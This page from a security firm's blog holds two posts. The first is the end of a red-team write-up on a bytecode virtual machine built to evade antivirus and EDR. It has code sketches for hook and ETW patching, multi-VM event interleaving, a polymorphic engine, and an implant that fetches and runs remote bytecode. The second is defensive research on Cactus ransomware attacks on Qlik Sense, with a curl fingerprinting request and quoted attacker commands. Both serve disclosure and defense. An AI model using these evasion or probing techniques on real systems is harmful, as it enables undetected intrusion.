As specified in Microsoft’s x64 __stdcall15 calling convention, the first four integer or pointer arguments are passed using the registers rcx, rdx, r8 and r9, with the remaining arguments being passed on the stack. This means that at the time of executing the call instruction, rcx holds the number of arguments that must be passed to the API. The virtual machine can extract and inspect this value, and use it to correctly perform the call:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
auto target = fetch_value(vm, i->lparam_type, i->lparam);
auto nargs = vm->registers.rcx.qword;
// extract the arguments
// Invoke the api
auto result = syscall(target, …);
// return the result to the bytecode environment
vm->registers.rax = result;
view raw vm.cpp hosted with ❤ by GitHub

The real values of the arguments are stored in rdx, r8, r9 and on the stack. When extracting the arguments from the stack, one must remember to keep the shadow space16 in mind.

Visually, the process looks like this:

A virtualized call instruction invokes ntdll!NtAllocateVirtualMemory. This call is translated to a native call and the API is invoked. The resulting value is returned to the VM.

Supporting Bytecode Function Callbacks

Keeping in mind the porting of existing programs to the bytecode architecture, one cannot omit the support for function callbacks within code. Take for example a simple linked list implementation, with a list_search function taking a predicate callback:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Node {
int value;
node* next;
};
struct SearchContext {
int value;
};
Node* list_search(Node* head, bool(*predicate)(Node* n, const void* ctx), const void* ctx);
bool searcher(Node* n, const void* ctx) {
return n->value == ((SearchContext*)ctx)->value;
}
int main() {
Node head;
// initialize and populate list
SearchContext ctx = { 10 };
Node* found = list_search(&head, searcher, &ctx);
return 0;
}
view raw list_search.cpp hosted with ❤ by GitHub

However, a problem arises: how does the virtual machine differentiate between a normal bytecode function call, a native API call, and a function callback? The difference between the first two is clear: the bytecode function call is a call to an address within the bytecode and is known at compile time, where the API call is a dynamic call, meaning a call to a function pointer stored in a register or memory location. Given that a callback within bytecode is a dynamic call, too, the virtual machine must be provided with information about the type of call being made.

To load a function pointer as an argument, a lea17 instruction is generated with its right operand referencing a memory address. This referenced memory address uses the instruction pointer (rip) register as the base field of the memory operand. When transpiling, such cases can be identified. To store this information, a new type of operand can be added to the already existing three types -listed in “The Anatomy of an Instruction”– (e.g. Function). When the virtual machine executes the lea instruction, it can check for the type of operand. If this operand’s type is Function, a tag can be added to the high 32 bits of the value, for example 0xDEADBEEF.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
value = (0xDEADBEEFull << 32) | (value & 0xffffffff);
view raw tag_example.cpp hosted with ❤ by GitHub

Once the call instruction is invoked, the value of the operand can be interrogated. If this value contains the previously added tag, a callback is requested. To perform the call, the tag is stripped from the value and the instruction pointer can be set accordingly.

Supporting User-Defined Arguments

Depending on the type of program that is executing, user-defined arguments are required. Take for example a program that simply sleeps for a period of time. How long should this program sleep for? Hardcoding these values is not always an option. Early on in the development of the project, a simple data structure was defined which could be provided to the bytecode’s entry point:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Data {
size_t size; // Size of data including the `Data` header
uint8_t key[KEY_SIZE]; // Decryption key of the payload
uint8_t payload[0]; // Payload data
};
int bytecode_main(Data* data);
view raw bytecode.cpp hosted with ❤ by GitHub

Accompanying this, each bytecode project contained a script that packaged data in a way that could be understood by the bytecode. However, there was no consistency between these scripts and the method of extraction. For example, extracting two 4-byte integers is simpler than extracting two strings due to their variable size.

To standardize this process, and to include it into the building step itself instead of running a random script, a key-value solution was created in combination with an API that can interrogate the type and value of each argument. This is different from parameter packing that Cobalt Strike uses in its BOFs18, as default arguments, or arguments that are not strictly required are supported. Additionally, each argument is encrypted separately. This allows for a PE packer to extract domain-keying information before extracting the PE data.

The following API is defined:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
enum Type {
Invalid, Boolean, Integer, String, Data
};
struct Argument {
size_t size; // The size of the argument including the header
Type type; // The type of the argument
size_t tag; // The identifying tag of the argument
uint8_t key[KEY_SIZE]; // The payload encryption key
uint8_t payload[0]; // The argument data
};
struct Arguments {
size_t size; // The total size of all arguments in bytes
size_t count; // The count of arguments present in the argument pack
uint8_t arguments[0]; // The argument data
};
bool has_argument(Arguments* args, size_t tag);
Argument* get_argument_by_tag(Arguments* args, size_t tag);
void decrypt_argument(Argument* arg);
void encrypt_argument(Argument* arg);
// utility functions to interpret the argument's payload
bool get_argument_boolean(Argument* arg);
int64_t get_argument_integer(Argument* arg);
char* get_argument_string(Argument* arg);
void* get_argument_data(Argument* arg, size_t* size);
view raw api.cpp hosted with ❤ by GitHub

The signature of the bytecode’s entry point is updated to incorporate this change:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
int bytecode_main(Arguments* args);

Supporting DLLs

Executables and DLLs are very similar in the way they look and in the way they execute. Both have an entry point to which execution is passed, and both return a value. However, the execution flow of an executable starts at the entry point, and does not reach its function’s end until the program stops. DLLs often perform very limited initialization within their entry point, and return execution to the loader to not lock the loader threads. Additionally, the entry point of the DLL is called more than once: on process startup and shutdown, and on thread creation and destruction. The reason for calling the entry point is passed by the loader in the second, dwReason, argument. This allows the code inside of the DllMain function to differentiate between the reasons the entry point was invoked, and can act accordingly.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
view raw dllmain.h hosted with ❤ by GitHub

To allow our shellcode to be embedded within DLLs, both the virtual machine and its bytecode must be made aware of the reason for invocation. This requires the entry point of the virtual machine and bytecode to match that of a DLL, automatically receiving the reason by the OS loader. This does not interfere with the entry point used by a normal executable, as the default entry point of any executable does not take any arguments directly, but instead the arguments argc and argv are resolved by the C runtime, which is not linked against.

On initialization, the virtual machine sets the bytecode’s rdx register to the value of its reason argument, passing the value to the entry point as the second argument. The programmer must decide if this value is to be inspected within the bytecode and should not use the value when writing bytecode to be embedded in an executable.

Deceiving Behavioral Analysis: Multi-VM Execution

Earlier, the method of detection based on behavior was discussed. This dynamic form of inspecting an application’s execution flow regardless of static patens is difficult for attackers to rid their malware of. Opening Lsass.exe and reading its memory could be marked as malicious, even if the process looks like calc.exe. Often, defensive products receive events by kernel callbacks, such as PsSetCreateProcessNotifyRoutine19 or PsSetLoadImageNotifyRoutine20, API/syscall hooks in the local process or by using Event Tracing for Windows (ETW)21 consumers.

Patching hooks in the local process along with local ETW functions that provide events is trivial. This rids the process of intrusive monitoring by antivirus or EDR solutions, and stops the process from creating events. However, some events are still generated, mostly by the ETW providers present in the kernel, along with the kernel callbacks. Additionally, events created during patching could still be monitored. Lastly, blinding defensive products could have a negative effect, as failure to receiving check-ins could be considered an error and a signal of malicious behavior by itself.

As an attacker, generating arbitrary events along with ones that might cause detection could be a method of thwarting dynamic detection rules based on behavior. Adding code to generate events in between regular instructions would require manipulation of source code, and is not preferred. Creating a new thread that generates random events could be in vain, as events are registered per unique thread in the process.

The virtual machine was extended to support vmcalls. These types of call instructions made by the bytecode notify the virtual machine layer that a task needs to be performed. Among multiple different supported calls, most noteworthy are the following:

  • vminit: Initialize the virtual machine object with bytecode and arguments
  • vmexec: Execute N cycles on the virtual machine

The combination of these two calls allows bytecode to create a new virtual machine, and execute a predetermined number of instructions:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
#define NUM_CYCLES 200
// load the malicious bytecode and create a vm object
auto malicious = load_malicious_instructions();
auto malicious_vm = allocate_vm_object();
// load the bytecode creating events
auto events = load_event_bytecode();
auto events_vm = allocate_vm_object();
// initialize the vm objects with their bytecode and no arguments
vmcall<vminit>::call(malicious_vm, malicious, nullptr);
vmcall<vminit>::call(events_vm, events, nullptr);
while (true) {
vmcall<vmexec>::call(malicious_vm, NUM_CYCLES);
vmcall<vmexec>::call(events_vm, NUM_CYCLES);
}
view raw vm_call.cpp hosted with ❤ by GitHub

Because both sets of bytecode execute within the same virtual machine, and therefore on the same thread, no distinction can be made between the origin of each event. The OS, and any event consumers will observe a single thread generating multiple events, both benign and possibly malicious. Most importantly for an attacker, this could break patterns of behavior being monitored for.

As an additional benefit of these added instructions, bytecode can now be obtained and executed at runtime. This proved to be an extremely useful feature during payload development, as instead of staging shellcode during Command and Control, bytecode can be provided. This removes the necessity for allocating executable memory regions (or changing memory protection at a later stage) to execute shellcode in, in turn removing the opportunity for defensive products to inspect buffers used for dynamic code execution often leveraged by attackers.

For example, the following behavior could be implemented to create a simple polling implant, requesting bytecode every 10 seconds:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
// allocate the virtual machine object
auto vm = allocate_vm_object();
while (true) {
// attempt to obtain bytecode from server
void* bytecode = http_get("https://example.com/bytecode&quot;);
// check if we received bytecode
if (bytecode) {
// initialize the vm object with our bytecode and execute it in its entirety
vmcall<vminit>::call(vm, bytecode, nullptr);
vmcall<vmexec>::call(vm, RUN_UNTIL_END);
}
// free the bytecode buffer and sleep for 10 seconds
free(bytecode);
sleep(10'000);
}

Protecting the Virtual Machine

At this point, we have defeated most detection measures that we are aware of, and set out to defeat. However, the VM shares a fundamental weakness with the original packers: static patterns in the native-code VM. Throughout its development, the VM was kept as simple as possible, adhering to constraints set out to enable support for a polymorphic engine to be executed on the VM’s binary code. This made the development significantly more cumbersome, but, given a sufficiently strong polymorphic engine, does close the detection loop fully. The polymorphic engine we developed has been battle tested over several years of use against modern EDR, and antimalware. Despite the fact that the code of the engine was designed years ago, and has not significantly changed since, it still manages to mutate malicious code to the extent that it becomes undetected at runtime and scan time.

Due to the way the universe works, the engine cannot support arbitrary programs. The largest constraint is that dynamic control flow is not supported. This means that indirect function calls, indirect jumps and the ret instruction could all potentially break the mutated code. Our engine assumes you know what you’re doing, and won’t complain when such instructions are encountered, but the resulting code will likely not work as intended.

The polymorphic engine supports several different mutation techniques, including:

  • Instruction substitution: replacing instructions with semantically equivalent ones. For example: mov eax, 0 can be replaced with xor eax, eax;
  • Basic block reordering: changing the order of basic blocks in the code;
  • Basic block creation: inserting new basic blocks into the code, through jumps and push rets;
  • NOP instruction insertion: inserting NOP instructions to change the code’s layout.

The most important feature is that the output of the engine can be fed back into the engine again. This allows for multiple iterations of mutation, which leads to virtually incomprehensible disassembly. This is especially useful when the input is a small piece of code, like a shellcode loader. Sufficient numbers of mutation will double, or quadruple the size of the output, further muddying the waters for defenders.

Conclusion

Due to the ever-changing security landscape, both attackers and defenders must stay on their toes. Defensive security products continue to improve over time, making it more difficult for attackers to remain undetected, or even execute malicious code at all. Detection of payloads has shifted from static analysis to a combination of heuristics and signatures, rendering some tools obsolete.

In this blog post, we have described a tool that was written to tackle both static and dynamic analysis by way of virtualisation. This technique, along with employing a custom polymorphic engine attempts to evade these types of analysis by layers of obfuscation. To bypass heuristic analysis, support for multiple virtual machines to run concurrently was added, disrupting patterns in created events. As an added bonus, reverse engineering a sample without prior knowledge could be a daunting task. Analysts would have to reverse not only the morphed virtual machine itself, but extract morphed bytecode for further analysis. This does not remediate the issue of reverse engineering payloads for an attacker, but does significantly slow down the process, providing the attacker with more time.

In practice, this project has allowed attacks to remain undetected during Red Teaming and TIBER exercises in some of the most heavily monitored environments, making use of state of the art EDR solutions. Moreover, due to the addition of a transpiler converting compiled binaries into custom bytecode, both the speed and ease of development of custom payloads was greatly improved.

The following is a non-exhaustive list of payloads that were created during a recent Red Teaming exercise, successfully evading detection:

  • Multiple persistence modules;
  • Multiple lateral movement modules;
  • Shellcode and bytecode executor;
  • Antivirus and EDR patchers;
  • HTTP(s) and DNS beacons;
  • Tools querying Active Directory information.

Porting of additional tools is taking place, and we expect to have virtualized versions of most tools used in a Red Team exercise in the near future.

Looking Forward

The motivations for this blog post are two-fold. Firstly, we wanted to share what we think is exciting research with the community. We learned what we did from openly shared blog post and articles, and want to give back to the community. We use all the knowledge we gained to improve the security of our customers through offensive security testing, and we hope that this blog post will help and inspire others to do the same.

Secondly, although security products have advanced tremendously, we want to show that there is still room for improvement. We have noticed a tendency to “slap an EDR on it and call it a day” in certain niches of the security industry. Although that might work for some time, because a modern EDR truly adds a strong layer of security, the door is still open for attackers to bypass these products. As the landscape evolves, and general cyber security knowledge increases, the skill and sophistication of cyber criminal elements will rise. Consider this blog post, and the technique explained within, as a warning and a call to action. We hope security vendors will think about how they can detect these types of payloads, and how they can improve their products to stay ahead of the curve, as they are right now.

References

  1. https://www.openwall.com/lists/oss-security/2024/03/29/4 ↩
  2. https://en.wikipedia.org/wiki/Polymorphic_engine ↩
  3. https://en.wikipedia.org/wiki/Executable-space_protection ↩
  4. https://en.wikipedia.org/wiki/Metamorphic_code ↩
  5. https://vmpsoft.com/ ↩
  6. https://en.wikipedia.org/wiki/Opcode ↩
  7. https://en.wikipedia.org/wiki/Bytecode ↩
  8. https://en.wikipedia.org/wiki/Disassembler#Length_disassembler ↩
  9. https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions ↩
  10. https://en.wikipedia.org/wiki/Advanced_Vector_Extensions ↩
  11. https://www.felixcloutier.com/x86/bt ↩
  12. https://github.com/icedland/iced ↩
  13. https://en.wikipedia.org/wiki/Position-independent_code ↩
  14. https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm ↩
  15. https://learn.microsoft.com/en-us/cpp/cpp/stdcall ↩
  16. https://devblogs.microsoft.com/oldnewthing/20160623-00/?p=93735 ↩
  17. https://www.felixcloutier.com/x86/lea ↩
  18. https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#bof_pack ↩
  19. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine ↩
  20. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine ↩
  21. https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows–etw- ↩

  •  

Sifting through the spines: identifying (potential) Cactus ransomware victims

Authored by Willem Zeeman and Yun Zheng Hu

This blog is part of a series written by various Dutch cyber security firms that have collaborated on the Cactus ransomware group, which exploits Qlik Sense servers for initial access. To view all of them please check the central blog by Dutch special interest group Cyberveilig Nederland [1]

The effectiveness of the public-private partnership called Melissa [2] is increasingly evident. The Melissa partnership, which includes Fox-IT, has identified overlap in a specific ransomware tactic. Multiple partners, sharing information from incident response engagements for their clients, found that the Cactus ransomware group uses a particular method for initial access. Following that discovery, NCC Group’s Fox-IT developed a fingerprinting technique to identify which systems around the world are vulnerable to this method of initial access or, even more critically, are already compromised.

Qlik Sense vulnerabilities

Qlik Sense, a popular data visualisation and business intelligence tool, has recently become a focal point in cybersecurity discussions. This tool, designed to aid businesses in data analysis, has been identified as a key entry point for cyberattacks by the Cactus ransomware group.

The Cactus ransomware campaign

Since November 2023, the Cactus ransomware group has been actively targeting vulnerable Qlik Sense servers. These attacks are not just about exploiting software vulnerabilities; they also involve a psychological component where Cactus misleads its victims with fabricated stories about the breach. This likely is part of their strategy to obscure their actual method of entry, thus complicating mitigation and response efforts for the affected organizations.

For those looking for in-depth coverage of these exploits, the Arctic Wolf blog [3] provides detailed insights into the specific vulnerabilities being exploited, notably CVE-2023-41266, CVE-2023-41265 also known as ZeroQlik, and potentially CVE-2023-48365 also known as DoubleQlik.

Threat statistics and collaborative action

The scope of this threat is significant. In total, we identified 5205 Qlik Sense servers, 3143 servers seem to be vulnerable to the exploits used by the Cactus group. This is based on the initial scan on 17 April 2024. Closer to home in the Netherlands, we’ve identified 241 vulnerable systems, fortunately most don’t seem to have been compromised. However, 6 Dutch systems weren’t so lucky and have already fallen victim to the Cactus group. It’s crucial to understand that “already compromised” can mean that either the ransomware has been deployed and the initial access artifacts left behind were not removed, or the system remains compromised and is potentially poised for a future ransomware attack.

Since 17 April 2024, the DIVD (Dutch Institute for Vulnerability Disclosure) and the governmental bodies NCSC (Nationaal Cyber Security Centrum) and DTC (Digital Trust Center) have teamed up to globally inform (potential) victims of cyberattacks resembling those from the Cactus ransomware group. This collaborative effort has enabled them to reach out to affected organisations worldwide, sharing crucial information to help prevent further damage where possible.

Identifying vulnerable Qlik Sense servers

Expanding on Praetorian’s thorough vulnerability research on the ZeroQlik and DoubleQlik vulnerabilities [4,5], we found a method to identify the version of a Qlik Sense server by retrieving a file called product-info.json from the server. While we acknowledge the existence of Nuclei templates for the vulnerability checks, using the server version allows for a more reliable evaluation of potential vulnerability status, e.g. whether it’s patched or end of support.

This JSON file contains the release label and version numbers by which we can identify the exact version that this Qlik Sense server is running.

Figure 1: Qlik Sense product-info.json file containing version information

Keep in mind that although Qlik Sense servers are assigned version numbers, the vendor typically refers to advisories and updates by their release label, such as “February 2022 Patch 3”.

The following cURL command can be used to retrieve the product-info.json file from a Qlik server:

curl -H "Host: localhost" -vk 'https://<ip>/resources/autogenerated/product-info.json?.ttf'

Note that we specify ?.ttf at the end of the URL to let the Qlik proxy server think that we are requesting a .ttf file, as font files can be accessed unauthenticated. Also, we set the Host header to localhost or else the server will return 400 - Bad Request - Qlik Sense, with the message The http request header is incorrect.

Retrieving this file with the ?.ttf extension trick has been fixed in the patch that addresses CVE-2023-48365 and you will always get a 302 Authenticate at this location response:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 302 Authenticate at this location
< Cache-Control: no-cache, no-store, must-revalidate
< Location: https://localhost/internal_forms_authentication/?targetId=2aa7575d-3234-4980-956c-2c6929c57b71
< Content-Length: 0
<

Nevertheless, this is still a good way to determine the state of a Qlik instance, because if it redirects using 302 Authenticate at this location it is likely that the server is not vulnerable to CVE-2023-48365.

An example response from a vulnerable server would return the JSON file:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Set-Cookie: X-Qlik-Session=893de431-1177-46aa-88c7-b95e28c5f103; Path=/; HttpOnly; SameSite=Lax; Secure
< Cache-Control: public, max-age=3600
< Transfer-Encoding: chunked
< Content-Type: application/json;charset=utf-8
< Expires: Tue, 16 Apr 2024 08:14:56 GMT
< Last-Modified: Fri, 04 Nov 2022 23:28:24 GMT
< Accept-Ranges: bytes
< ETag: 638032013040000000
< Server: Microsoft-HTTPAPI/2.0
< Date: Tue, 16 Apr 2024 07:14:55 GMT
< Age: 136
<
{"composition":{"contentHash":"89c9087978b3f026fb100267523b5204","senseId":"qliksenseserver:14.54.21","releaseLabel":"February 2022 Patch 12","originalClassName":"Composition","deprecatedProductVersion":"4.0.X","productName":"Qlik Sense","version":"14.54.21","copyrightYearRange":"1993-2022","deploymentType":"QlikSenseServer"},
<snipped>

We utilised Censys and Google BigQuery [6] to compile a list of potential Qlik Sense servers accessible on the internet and conducted a version scan against them. Subsequently, we extracted the Qlik release label from the JSON response to assess vulnerability to CVE-2023-48365.

Our vulnerability assessment for DoubleQlik / CVE-2023-48365 operated on the following criteria:

  1. The release label corresponds to vulnerability statuses outlined in the original ZeroQlik and DoubleQlik vendor advisories [7,8].
  2. The release label is designated as End of Support (EOS) by the vendor [9], such as “February 2019 Patch 5”.

We consider a server non-vulnerable if:

  1. The release label date is post-November 2023, as the advisory states that “November 2023” is not affected.
  2. The server responded with HTTP/1.1 302 Authenticate at this location.

Any other responses were disregarded as invalid Qlik server instances.

As of 17 April 2024, and as stated in the introduction of this blog, we have detected 5205 Qlik Servers on the Internet. Among them, 3143 servers are still at risk of DoubleQlik, indicating that 60% of all Qlik Servers online remain vulnerable.

Figure 2: Qlik Sense patch status for DoubleQlik CVE-2023-48365

The majority of vulnerable Qlik servers reside in the United States (396), trailed by Italy (280), Brazil (244), the Netherlands (241), and Germany (175).

Figure 3: Top 20 countries with servers vulnerable to DoubleQlik CVE-2023-48365

Identifying compromised Qlik Sense servers

Based on insights gathered from the Arctic Wolf blog and our own incident response engagements where the Cactus ransomware was observed, it’s evident that the Cactus ransomware group continues to redirect the output of executed commands to a True Type font file named qle.ttf, likely abbreviated for “qlik exploit”.

Below are a few examples of executed commands and their output redirection by the Cactus ransomware group:

whoami /all > ../Client/qmc/fonts/qle.ttf
quser > ../Client/qmc/fonts/qle.ttf

In addition to the qle.ttf file, we have also observed instances where qle.woff was used:

Figure 4: Directory listing with exploitation artefacts left by Cactus ransomware group

It’s important to note that these font files are not part of a default Qlik Sense server installation.

We discovered that files with a font file extension such as .ttf and .woff can be accessed without any authentication, regardless of whether the server is patched. This likely explains why the Cactus ransomware group opted to store command output in font files within the fonts directory, which in turn, also serves as a useful indicator of compromise.

Our scan for both font files, found a total of 122 servers with the indicator of compromise. The United States ranked highest in exploited servers with 49 online instances carrying the indicator of compromise, followed by Spain (13), Italy (11), the United Kingdom (8), Germany (7), and then Ireland and the Netherlands (6).

Figure 5: Top 20 countries with known compromised Qlik Sense servers

Out of the 122 compromised servers, 46 were not vulnerable anymore.

When the indicator of compromise artefact is present on a remote Qlik Sense server, it can imply various scenarios. Firstly, it may suggest that remote code execution was carried out on the server, followed by subsequent patching to address the vulnerability (if the server is not vulnerable anymore). Alternatively, its presence could signify a leftover artefact from a previous security incident or unauthorised access.

While the root cause for the presence of these files is hard to determine from the outside it still is a reliable indicator of compromise.

Responsible disclosure by the DIVD
We shared our fingerprints and scan data with the Dutch Institute of Vulnerability Disclosure (DIVD), who then proceeded to issue responsible disclosure notifications to the administrators of the Qlik Sense servers.

Call to action

Ensure the security of your Qlik Sense installations by checking your current version. If your software is still supported, apply the latest patches immediately. For systems that are at the end of support, consider upgrading or replacing them to maintain robust security.

Additionally, to enhance your defences, it’s recommended to avoid exposing these services to the entire internet. Implement IP whitelisting if public access is necessary, or better yet, make them accessible only through secure remote working solutions.

If you discover you’ve been running a vulnerable version, it’s crucial to contact your (external) security experts for a thorough check-up to confirm that no breaches have occurred. Taking these steps will help safeguard your data and infrastructure from potential threats.

References

  1. https://cyberveilignederland.nl/actueel/persbericht-samenwerkingsverband-melissa-vindt-diverse-nederlandse-slachtoffers-van-ransomwaregroepering-cactus ↩
  2. https://www.ncsc.nl/actueel/nieuws/2023/oktober/3/melissa-samenwerkingsverband-ransomwarebestrijding ↩
  3. https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/ ↩
  4. https://www.praetorian.com/blog/qlik-sense-technical-exploit/ ↩
  5. https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/ ↩
  6. https://support.censys.io/hc/en-us/articles/360038759991-Google-BigQuery-Introduction ↩
  7. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801 ↩
  8. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2120325 ↩
  9. https://community.qlik.com/t5/Product-Lifecycle/Qlik-Sense-Enterprise-on-Windows-Product-Lifecycle/ta-p/1826335 ↩
  •  
❌